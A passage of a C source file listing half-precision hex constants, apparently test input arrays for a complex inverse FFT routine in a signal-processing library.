0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0,
0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0, 0x3b33, 0x0
};
static const uint16_t in_cifft_step_4096[8192] = {
0x6733, 0x0, 0xbb33, 0x6495, 0x0, 0x0, 0xbb33, 0x5e1d,
0x0, 0x0, 0xbb33, 0x5b55, 0x0, 0x0, 0xbb33, 0x593d,
0x0, 0x0, 0xbb33, 0x5813, 0x0, 0x0, 0xbb33, 0x56ab,
0x0, 0x0, 0xbb33, 0x55a4, 0x0, 0x0, 0xbb33, 0x54e4,
0x0, 0x0, 0xbb33, 0x5450, 0x0, 0x0, 0xbb33, 0x53b8,
0x0, 0x0, 0xbb33, 0x52fc, 0x0, 0x0, 0xbb33, 0x5260,
0x0, 0x0, 0xbb33, 0x51de, 0x0, 0x0, 0xbb33, 0x516f,
0x0, 0x0, 0xbb33, 0x510f, 0x0, 0x0, 0xbb33, 0x50bb,
0x0, 0x0, 0xbb33, 0x5072, 0x0, 0x0, 0xbb33, 0x5031,
0x0, 0x0, 0xbb33, 0x4fed, 0x0, 0x0, 0xbb33, 0x4f85,
0x0, 0x0, 0xbb33, 0x4f27, 0x0, 0x0, 0xbb33, 0x4ed2,
0x0, 0x0, 0xbb33, 0x4e84, 0x0, 0x0, 0xbb33, 0x4e3d,
0x0, 0x0, 0xbb33, 0x4dfc, 0x0, 0x0, 0xbb33, 0x4dc0,
0x0, 0x0, 0xbb33, 0x4d88, 0x0, 0x0, 0xbb33, 0x4d55,
0x0, 0x0, 0xbb33, 0x4d25, 0x0, 0x0, 0xbb33, 0x4cf8,
0x0, 0x0, 0xbb33, 0x4cce, 0x0, 0x0, 0xbb33, 0x4ca7,
0x0, 0x0, 0xbb33, 0x4c82, 0x0, 0x0, 0xbb33, 0x4c60,
0x0, 0x0, 0xbb33, 0x4c3f, 0x0, 0x0, 0xbb33, 0x4c21,
0x0, 0x0, 0xbb33, 0x4c04, 0x0, 0x0, 0xbb33, 0x4bd0,
0x0, 0x0, 0xbb33, 0x4b9c, 0x0, 0x0, 0xbb33, 0x4b6b,
0x0, 0x0, 0xbb33, 0x4b3c, 0x0, 0x0, 0xbb33, 0x4b0f,
0x0, 0x0, 0xbb33, 0x4ae5, 0x0, 0x0, 0xbb33, 0x4abc,
0x0, 0x0, 0xbb33, 0x4a95, 0x0, 0x0, 0xbb33, 0x4a70,
0x0, 0x0, 0xbb33, 0x4a4c, 0x0, 0x0, 0xbb33, 0x4a2a,
0x0, 0x0, 0xbb33, 0x4a0a, 0x0, 0x0, 0xbb33, 0x49ea,
0x0, 0x0, 0xbb33, 0x49cc, 0x0, 0x0, 0xbb33, 0x49af,
0x0, 0x0, 0xbb33, 0x4993, 0x0, 0x0, 0xbb33, 0x4979,
0x0, 0x0, 0xbb33, 0x495f, 0x0, 0x0, 0xbb33, 0x4946,
0x0, 0x0, 0xbb33, 0x492e, 0x0, 0x0, 0xbb33, 0x4917,
0x0, 0x0, 0xbb33, 0x4900, 0x0, 0x0, 0xbb33, 0x48eb,
0x0, 0x0, 0xbb33, 0x48d6, 0x0, 0x0, 0xbb33, 0x48c1,
0x0, 0x0, 0xbb33, 0x48ae, 0x0, 0x0, 0xbb33, 0x489b,
0x0, 0x0, 0xbb33, 0x4889, 0x0, 0x0, 0xbb33, 0x4877,
0x0, 0x0, 0xbb33, 0x4865, 0x0, 0x0, 0xbb33, 0x4855,
0x0, 0x0, 0xbb33, 0x4844, 0x0, 0x0, 0xbb33, 0x4834,
0x0, 0x0, 0xbb33, 0x4825, 0x0, 0x0, 0xbb33, 0x4816,
0x0, 0x0, 0xbb33, 0x4808, 0x0, 0x0, 0xbb33, 0x47f3,
0x0, 0x0, 0xbb33, 0x47d7, 0x0, 0x0, 0xbb33, 0x47bc,
0x0, 0x0, 0xbb33, 0x47a2, 0x0, 0x0, 0xbb33, 0x4789,
0x0, 0x0, 0xbb33, 0x4770, 0x0, 0x0, 0xbb33, 0x4758,
0x0, 0x0, 0xbb33, 0x4740, 0x0, 0x0, 0xbb33, 0x4729,
0x0, 0x0, 0xbb33, 0x4713, 0x0, 0x0, 0xbb33, 0x46fd,
0x0, 0x0, 0xbb33, 0x46e8, 0x0, 0x0, 0xbb33, 0x46d3,
0x0, 0x0, 0xbb33, 0x46be, 0x0, 0x0, 0xbb33, 0x46aa,
0x0, 0x0, 0xbb33, 0x4697, 0x0, 0x0, 0xbb33, 0x4684,
0x0, 0x0, 0xbb33, 0x4671, 0x0, 0x0, 0xbb33, 0x465f,
0x0, 0x0, 0xbb33, 0x464d, 0x0, 0x0, 0xbb33, 0x463b,
0x0, 0x0, 0xbb33, 0x462a, 0x0, 0x0, 0xbb33, 0x4619,
0x0, 0x0, 0xbb33, 0x4609, 0x0, 0x0, 0xbb33, 0x45f9,
0x0, 0x0, 0xbb33, 0x45e9, 0x0, 0x0, 0xbb33, 0x45da,
0x0, 0x0, 0xbb33, 0x45cb, 0x0, 0x0, 0xbb33, 0x45bc,
0x0, 0x0, 0xbb33, 0x45ad, 0x0, 0x0, 0xbb33, 0x459f,
0x0, 0x0, 0xbb33, 0x4591, 0x0, 0x0, 0xbb33, 0x4583,
0x0, 0x0, 0xbb33, 0x4576, 0x0, 0x0, 0xbb33, 0x4568,
0x0, 0x0, 0xbb33, 0x455c, 0x0, 0x0, 0xbb33, 0x454f,
0x0, 0x0, 0xbb33, 0x4542, 0x0, 0x0, 0xbb33, 0x4536,
0x0, 0x0, 0xbb33, 0x452a, 0x0, 0x0, 0xbb33, 0x451e,
0x0, 0x0, 0xbb33, 0x4512, 0x0, 0x0, 0xbb33, 0x4507,
0x0, 0x0, 0xbb33, 0x44fb, 0x0, 0x0, 0xbb33, 0x44f0,
0x0, 0x0, 0xbb33, 0x44e5, 0x0, 0x0, 0xbb33, 0x44db,
0x0, 0x0, 0xbb33, 0x44d0, 0x0, 0x0, 0xbb33, 0x44c6,
0x0, 0x0, 0xbb33, 0x44bc, 0x0, 0x0, 0xbb33, 0x44b2,
0x0, 0x0, 0xbb33, 0x44a8, 0x0, 0x0, 0xbb33, 0x449e,
0x0, 0x0, 0xbb33, 0x4494, 0x0, 0x0, 0xbb33, 0x448b,
0x0, 0x0, 0xbb33, 0x4482, 0x0, 0x0, 0xbb33, 0x4479,
0x0, 0x0, 0xbb33, 0x4470, 0x0, 0x0, 0xbb33, 0x4467,
0x0, 0x0, 0xbb33, 0x445e, 0x0, 0x0, 0xbb33, 0x4455,
0x0, 0x0, 0xbb33, 0x444d, 0x0, 0x0, 0xbb33, 0x4444,
0x0, 0x0, 0xbb33, 0x443c, 0x0, 0x0, 0xbb33, 0x4434,
0x0, 0x0, 0xbb33, 0x442c, 0x0, 0x0, 0xbb33, 0x4424,
0x0, 0x0, 0xbb33, 0x441c, 0x0, 0x0, 0xbb33, 0x4415,
0x0, 0x0, 0xbb33, 0x440d, 0x0, 0x0, 0xbb33, 0x4406,
0x0, 0x0, 0xbb33, 0x43fd, 0x0, 0x0, 0xbb33, 0x43ee,
0x0, 0x0, 0xbb33, 0x43e0, 0x0, 0x0, 0xbb33, 0x43d2,
0x0, 0x0, 0xbb33, 0x43c4, 0x0, 0x0, 0xbb33, 0x43b6,
0x0, 0x0, 0xbb33, 0x43a8, 0x0, 0x0, 0xbb33, 0x439b,
0x0, 0x0, 0xbb33, 0x438e, 0x0, 0x0, 0xbb33, 0x4381,
0x0, 0x0, 0xbb33, 0x4374, 0x0, 0x0, 0xbb33, 0x4367,
0x0, 0x0, 0xbb33, 0x435a, 0x0, 0x0, 0xbb33, 0x434e,
0x0, 0x0, 0xbb33, 0x4342, 0x0, 0x0, 0xbb33, 0x4336,
0x0, 0x0, 0xbb33, 0x432a, 0x0, 0x0, 0xbb33, 0x431e,
0x0, 0x0, 0xbb33, 0x4312, 0x0, 0x0, 0xbb33, 0x4307,
0x0, 0x0, 0xbb33, 0x42fb, 0x0, 0x0, 0xbb33, 0x42f0,
0x0, 0x0, 0xbb33, 0x42e5, 0x0, 0x0, 0xbb33, 0x42da,
0x0, 0x0, 0xbb33, 0x42cf, 0x0, 0x0, 0xbb33, 0x42c4,
0x0, 0x0, 0xbb33, 0x42b9, 0x0, 0x0, 0xbb33, 0x42af,
0x0, 0x0, 0xbb33, 0x42a5, 0x0, 0x0, 0xbb33, 0x429a,
0x0, 0x0, 0xbb33, 0x4290, 0x0, 0x0, 0xbb33, 0x4286,
0x0, 0x0, 0xbb33, 0x427c, 0x0, 0x0, 0xbb33, 0x4272,
0x0, 0x0, 0xbb33, 0x4269, 0x0, 0x0, 0xbb33, 0x425f,
0x0, 0x0, 0xbb33, 0x4255, 0x0, 0x0, 0xbb33, 0x424c,
0x0, 0x0, 0xbb33, 0x4243, 0x0, 0x0, 0xbb33, 0x423a,
0x0, 0x0, 0xbb33, 0x4230, 0x0, 0x0, 0xbb33, 0x4227,
0x0, 0x0, 0xbb33, 0x421f, 0x0, 0x0, 0xbb33, 0x4216,
0x0, 0x0, 0xbb33, 0x420d, 0x0, 0x0, 0xbb33, 0x4204,
0x0, 0x0, 0xbb33, 0x41fc, 0x0, 0x0, 0xbb33, 0x41f3,
0x0, 0x0, 0xbb33, 0x41eb, 0x0, 0x0, 0xbb33, 0x41e3,
0x0, 0x0, 0xbb33, 0x41da, 0x0, 0x0, 0xbb33, 0x41d2,
0x0, 0x0, 0xbb33, 0x41ca, 0x0, 0x0, 0xbb33, 0x41c2,
0x0, 0x0, 0xbb33, 0x41ba, 0x0, 0x0, 0xbb33, 0x41b2,
0x0, 0x0, 0xbb33, 0x41ab, 0x0, 0x0, 0xbb33, 0x41a3,
0x0, 0x0, 0xbb33, 0x419b, 0x0, 0x0, 0xbb33, 0x4194,
0x0, 0x0, 0xbb33, 0x418c, 0x0, 0x0, 0xbb33, 0x4185,
0x0, 0x0, 0xbb33, 0x417e, 0x0, 0x0, 0xbb33, 0x4176,
0x0, 0x0, 0xbb33, 0x416f, 0x0, 0x0, 0xbb33, 0x4168,
0x0, 0x0, 0xbb33, 0x4161, 0x0, 0x0, 0xbb33, 0x415a,
0x0, 0x0, 0xbb33, 0x4153, 0x0, 0x0, 0xbb33, 0x414c,
0x0, 0x0, 0xbb33, 0x4146, 0x0, 0x0, 0xbb33, 0x413f,
0x0, 0x0, 0xbb33, 0x4138, 0x0, 0x0, 0xbb33, 0x4131,
0x0, 0x0, 0xbb33, 0x412b, 0x0, 0x0, 0xbb33, 0x4124,
0x0, 0x0, 0xbb33, 0x411e, 0x0, 0x0, 0xbb33, 0x4118,
0x0, 0x0, 0xbb33, 0x4111, 0x0, 0x0, 0xbb33, 0x410b,
0x0, 0x0, 0xbb33, 0x4105, 0x0, 0x0, 0xbb33, 0x40ff,
0x0, 0x0, 0xbb33, 0x40f8, 0x0, 0x0, 0xbb33, 0x40f2,
0x0, 0x0, 0xbb33, 0x40ec, 0x0, 0x0, 0xbb33, 0x40e6,
0x0, 0x0, 0xbb33, 0x40e0, 0x0, 0x0, 0xbb33, 0x40db,
0x0, 0x0, 0xbb33, 0x40d5, 0x0, 0x0, 0xbb33, 0x40cf,
0x0, 0x0, 0xbb33, 0x40c9, 0x0, 0x0, 0xbb33, 0x40c4,
0x0, 0x0, 0xbb33, 0x40be, 0x0, 0x0, 0xbb33, 0x40b8,
0x0, 0x0, 0xbb33, 0x40b3, 0x0, 0x0, 0xbb33, 0x40ad,
0x0, 0x0, 0xbb33, 0x40a8, 0x0, 0x0, 0xbb33, 0x40a2,
0x0, 0x0, 0xbb33, 0x409d, 0x0, 0x0, 0xbb33, 0x4098,
0x0, 0x0, 0xbb33, 0x4092, 0x0, 0x0, 0xbb33, 0x408d,
0x0, 0x0, 0xbb33, 0x4088, 0x0, 0x0, 0xbb33, 0x4083,
0x0, 0x0, 0xbb33, 0x407e, 0x0, 0x0, 0xbb33, 0x4079,
0x0, 0x0, 0xbb33, 0x4074, 0x0, 0x0, 0xbb33, 0x406f,
0x0, 0x0, 0xbb33, 0x406a, 0x0, 0x0, 0xbb33, 0x4065,
0x0, 0x0, 0xbb33, 0x4060, 0x0, 0x0, 0xbb33, 0x405b,
0x0, 0x0, 0xbb33, 0x4056, 0x0, 0x0, 0xbb33, 0x4051,
0x0, 0x0, 0xbb33, 0x404d, 0x0, 0x0, 0xbb33, 0x4048,
0x0, 0x0, 0xbb33, 0x4043, 0x0, 0x0, 0xbb33, 0x403e,
0x0, 0x0, 0xbb33, 0x403a, 0x0, 0x0, 0xbb33, 0x4035,
0x0, 0x0, 0xbb33, 0x4031, 0x0, 0x0, 0xbb33, 0x402c,
0x0, 0x0, 0xbb33, 0x4028, 0x0, 0x0, 0xbb33, 0x4023,
0x0, 0x0, 0xbb33, 0x401f, 0x0, 0x0, 0xbb33, 0x401a,
0x0, 0x0, 0xbb33, 0x4016, 0x0, 0x0, 0xbb33, 0x4012,
0x0, 0x0, 0xbb33, 0x400d, 0x0, 0x0, 0xbb33, 0x4009,
0x0, 0x0, 0xbb33, 0x4005, 0x0, 0x0, 0xbb33, 0x4001,
0x0, 0x0, 0xbb33, 0x3ff9, 0x0, 0x0, 0xbb33, 0x3ff1,
0x0, 0x0, 0xbb33, 0x3fe8, 0x0, 0x0, 0xbb33, 0x3fe0,
0x0, 0x0, 0xbb33, 0x3fd8, 0x0, 0x0, 0xbb33, 0x3fd0,
0x0, 0x0, 0xbb33, 0x3fc8, 0x0, 0x0, 0xbb33, 0x3fc0,
0x0, 0x0, 0xbb33, 0x3fb8, 0x0, 0x0, 0xbb33, 0x3fb0,
0x0, 0x0, 0xbb33, 0x3fa8, 0x0, 0x0, 0xbb33, 0x3fa0,
0x0, 0x0, 0xbb33, 0x3f99, 0x0, 0x0, 0xbb33, 0x3f91,
0x0, 0x0, 0xbb33, 0x3f89, 0x0, 0x0, 0xbb33, 0x3f82,
0x0, 0x0, 0xbb33, 0x3f7a, 0x0, 0x0, 0xbb33, 0x3f73,
0x0, 0x0, 0xbb33, 0x3f6b, 0x0, 0x0, 0xbb33, 0x3f64,
0x0, 0x0, 0xbb33, 0x3f5d, 0x0, 0x0, 0xbb33, 0x3f55,
0x0, 0x0, 0xbb33, 0x3f4e, 0x0, 0x0, 0xbb33, 0x3f47,
0x0, 0x0, 0xbb33, 0x3f40, 0x0, 0x0, 0xbb33, 0x3f39,
0x0, 0x0, 0xbb33, 0x3f31, 0x0, 0x0, 0xbb33, 0x3f2a,
0x0, 0x0, 0xbb33, 0x3f23, 0x0, 0x0, 0xbb33, 0x3f1c,
0x0, 0x0, 0xbb33, 0x3f16, 0x0, 0x0, 0xbb33, 0x3f0f,
0x0, 0x0, 0xbb33, 0x3f08, 0x0, 0x0, 0xbb33, 0x3f01,
0x0, 0x0, 0xbb33, 0x3efa, 0x0, 0x0, 0xbb33, 0x3ef4,
0x0, 0x0, 0xbb33, 0x3eed, 0x0, 0x0, 0xbb33, 0x3ee6,
0x0, 0x0, 0xbb33, 0x3ee0, 0x0, 0x0, 0xbb33, 0x3ed9,
0x0, 0x0, 0xbb33, 0x3ed3, 0x0, 0x0, 0xbb33, 0x3ecc,
0x0, 0x0, 0xbb33, 0x3ec6, 0x0, 0x0, 0xbb33, 0x3ebf,
0x0, 0x0, 0xbb33, 0x3eb9, 0x0, 0x0, 0xbb33, 0x3eb3,
0x0, 0x0, 0xbb33, 0x3eac, 0x0, 0x0, 0xbb33, 0x3ea6,
0x0, 0x0, 0xbb33, 0x3ea0, 0x0, 0x0, 0xbb33, 0x3e9a,
0x0, 0x0, 0xbb33, 0x3e94, 0x0, 0x0, 0xbb33, 0x3e8d,
0x0, 0x0, 0xbb33, 0x3e87, 0x0, 0x0, 0xbb33, 0x3e81,
0x0, 0x0, 0xbb33, 0x3e7b, 0x0, 0x0, 0xbb33, 0x3e75,
0x0, 0x0, 0xbb33, 0x3e6f, 0x0, 0x0, 0xbb33, 0x3e69,
0x0, 0x0, 0xbb33, 0x3e64, 0x0, 0x0, 0xbb33, 0x3e5e,
0x0, 0x0, 0xbb33, 0x3e58, 0x0, 0x0, 0xbb33, 0x3e52,
0x0, 0x0, 0xbb33, 0x3e4c, 0x0, 0x0, 0xbb33, 0x3e47,
0x0, 0x0, 0xbb33, 0x3e41, 0x0, 0x0, 0xbb33, 0x3e3b,
0x0, 0x0, 0xbb33, 0x3e36, 0x0, 0x0, 0xbb33, 0x3e30,
0x0, 0x0, 0xbb33, 0x3e2b, 0x0, 0x0, 0xbb33, 0x3e25,
0x0, 0x0, 0xbb33, 0x3e1f, 0x0, 0x0, 0xbb33, 0x3e1a,
0x0, 0x0, 0xbb33, 0x3e14, 0x0, 0x0, 0xbb33, 0x3e0f,
0x0, 0x0, 0xbb33, 0x3e0a, 0x0, 0x0, 0xbb33, 0x3e04,
0x0, 0x0, 0xbb33, 0x3dff, 0x0, 0x0, 0xbb33, 0x3dfa,
0x0, 0x0, 0xbb33, 0x3df4, 0x0, 0x0, 0xbb33, 0x3def,
0x0, 0x0, 0xbb33, 0x3dea, 0x0, 0x0, 0xbb33, 0x3de5,
0x0, 0x0, 0xbb33, 0x3ddf, 0x0, 0x0, 0xbb33, 0x3dda,
0x0, 0x0, 0xbb33, 0x3dd5, 0x0, 0x0, 0xbb33, 0x3dd0,
0x0, 0x0, 0xbb33, 0x3dcb, 0x0, 0x0, 0xbb33, 0x3dc6,
0x0, 0x0, 0xbb33, 0x3dc1, 0x0, 0x0, 0xbb33, 0x3dbc,
0x0, 0x0, 0xbb33, 0x3db7, 0x0, 0x0, 0xbb33, 0x3db2,
0x0, 0x0, 0xbb33, 0x3dad, 0x0, 0x0, 0xbb33, 0x3da8,
0x0, 0x0, 0xbb33, 0x3da3, 0x0, 0x0, 0xbb33, 0x3d9e,
0x0, 0x0, 0xbb33, 0x3d99, 0x0, 0x0, 0xbb33, 0x3d95,
0x0, 0x0, 0xbb33, 0x3d90, 0x0, 0x0, 0xbb33, 0x3d8b,
0x0, 0x0, 0xbb33, 0x3d86, 0x0, 0x0, 0xbb33, 0x3d81,
0x0, 0x0, 0xbb33, 0x3d7d, 0x0, 0x0, 0xbb33, 0x3d78,
0x0, 0x0, 0xbb33, 0x3d73, 0x0, 0x0, 0xbb33, 0x3d6f,
0x0, 0x0, 0xbb33, 0x3d6a, 0x0, 0x0, 0xbb33, 0x3d66,
0x0, 0x0, 0xbb33, 0x3d61, 0x0, 0x0, 0xbb33, 0x3d5c,
0x0, 0x0, 0xbb33, 0x3d58, 0x0, 0x0, 0xbb33, 0x3d53,
0x0, 0x0, 0xbb33, 0x3d4f, 0x0, 0x0, 0xbb33, 0x3d4a,
0x0, 0x0, 0xbb33, 0x3d46, 0x0, 0x0, 0xbb33, 0x3d42,
0x0, 0x0, 0xbb33, 0x3d3d, 0x0, 0x0, 0xbb33, 0x3d39,
0x0, 0x0, 0xbb33, 0x3d34, 0x0, 0x0, 0xbb33, 0x3d30,
0x0, 0x0, 0xbb33, 0x3d2c, 0x0, 0x0, 0xbb33, 0x3d27,
0x0, 0x0, 0xbb33, 0x3d23, 0x0, 0x0, 0xbb33, 0x3d1f,
0x0, 0x0, 0xbb33, 0x3d1a, 0x0, 0x0, 0xbb33, 0x3d16,
0x0, 0x0, 0xbb33, 0x3d12, 0x0, 0x0, 0xbb33, 0x3d0e,
0x0, 0x0, 0xbb33, 0x3d0a, 0x0, 0x0, 0xbb33, 0x3d05,
0x0, 0x0, 0xbb33, 0x3d01, 0x0, 0x0, 0xbb33, 0x3cfd,
0x0, 0x0, 0xbb33, 0x3cf9, 0x0, 0x0, 0xbb33, 0x3cf5,
0x0, 0x0, 0xbb33, 0x3cf1, 0x0, 0x0, 0xbb33, 0x3ced,
0x0, 0x0, 0xbb33, 0x3ce9, 0x0, 0x0, 0xbb33, 0x3ce5,
0x0, 0x0, 0xbb33, 0x3ce1, 0x0, 0x0, 0xbb33, 0x3cdd,
0x0, 0x0, 0xbb33, 0x3cd9, 0x0, 0x0, 0xbb33, 0x3cd5,
0x0, 0x0, 0xbb33, 0x3cd1, 0x0, 0x0, 0xbb33, 0x3ccd,
0x0, 0x0, 0xbb33, 0x3cc9, 0x0, 0x0, 0xbb33, 0x3cc5,
0x0, 0x0, 0xbb33, 0x3cc1, 0x0, 0x0, 0xbb33, 0x3cbd,
0x0, 0x0, 0xbb33, 0x3cb9, 0x0, 0x0, 0xbb33, 0x3cb6,
0x0, 0x0, 0xbb33, 0x3cb2, 0x0, 0x0, 0xbb33, 0x3cae,
0x0, 0x0, 0xbb33, 0x3caa, 0x0, 0x0, 0xbb33, 0x3ca6,
0x0, 0x0, 0xbb33, 0x3ca3, 0x0, 0x0, 0xbb33, 0x3c9f,
0x0, 0x0, 0xbb33, 0x3c9b, 0x0, 0x0, 0xbb33, 0x3c97,
0x0, 0x0, 0xbb33, 0x3c94, 0x0, 0x0, 0xbb33, 0x3c90,
0x0, 0x0, 0xbb33, 0x3c8c, 0x0, 0x0, 0xbb33, 0x3c89,
0x0, 0x0, 0xbb33, 0x3c85, 0x0, 0x0, 0xbb33, 0x3c81,
0x0, 0x0, 0xbb33, 0x3c7e, 0x0, 0x0, 0xbb33, 0x3c7a,
0x0, 0x0, 0xbb33, 0x3c76, 0x0, 0x0, 0xbb33, 0x3c73,
0x0, 0x0, 0xbb33, 0x3c6f, 0x0, 0x0, 0xbb33, 0x3c6c,
0x0, 0x0, 0xbb33, 0x3c68, 0x0, 0x0, 0xbb33, 0x3c65,
0x0, 0x0, 0xbb33, 0x3c61, 0x0, 0x0, 0xbb33, 0x3c5e,
0x0, 0x0, 0xbb33, 0x3c5a, 0x0, 0x0, 0xbb33, 0x3c57,
0x0, 0x0, 0xbb33, 0x3c53, 0x0, 0x0, 0xbb33, 0x3c50,
0x0, 0x0, 0xbb33, 0x3c4c, 0x0, 0x0, 0xbb33, 0x3c49,
0x0, 0x0, 0xbb33, 0x3c46, 0x0, 0x0, 0xbb33, 0x3c42,
0x0, 0x0, 0xbb33, 0x3c3f, 0x0, 0x0, 0xbb33, 0x3c3b,
0x0, 0x0, 0xbb33, 0x3c38, 0x0, 0x0, 0xbb33, 0x3c35,
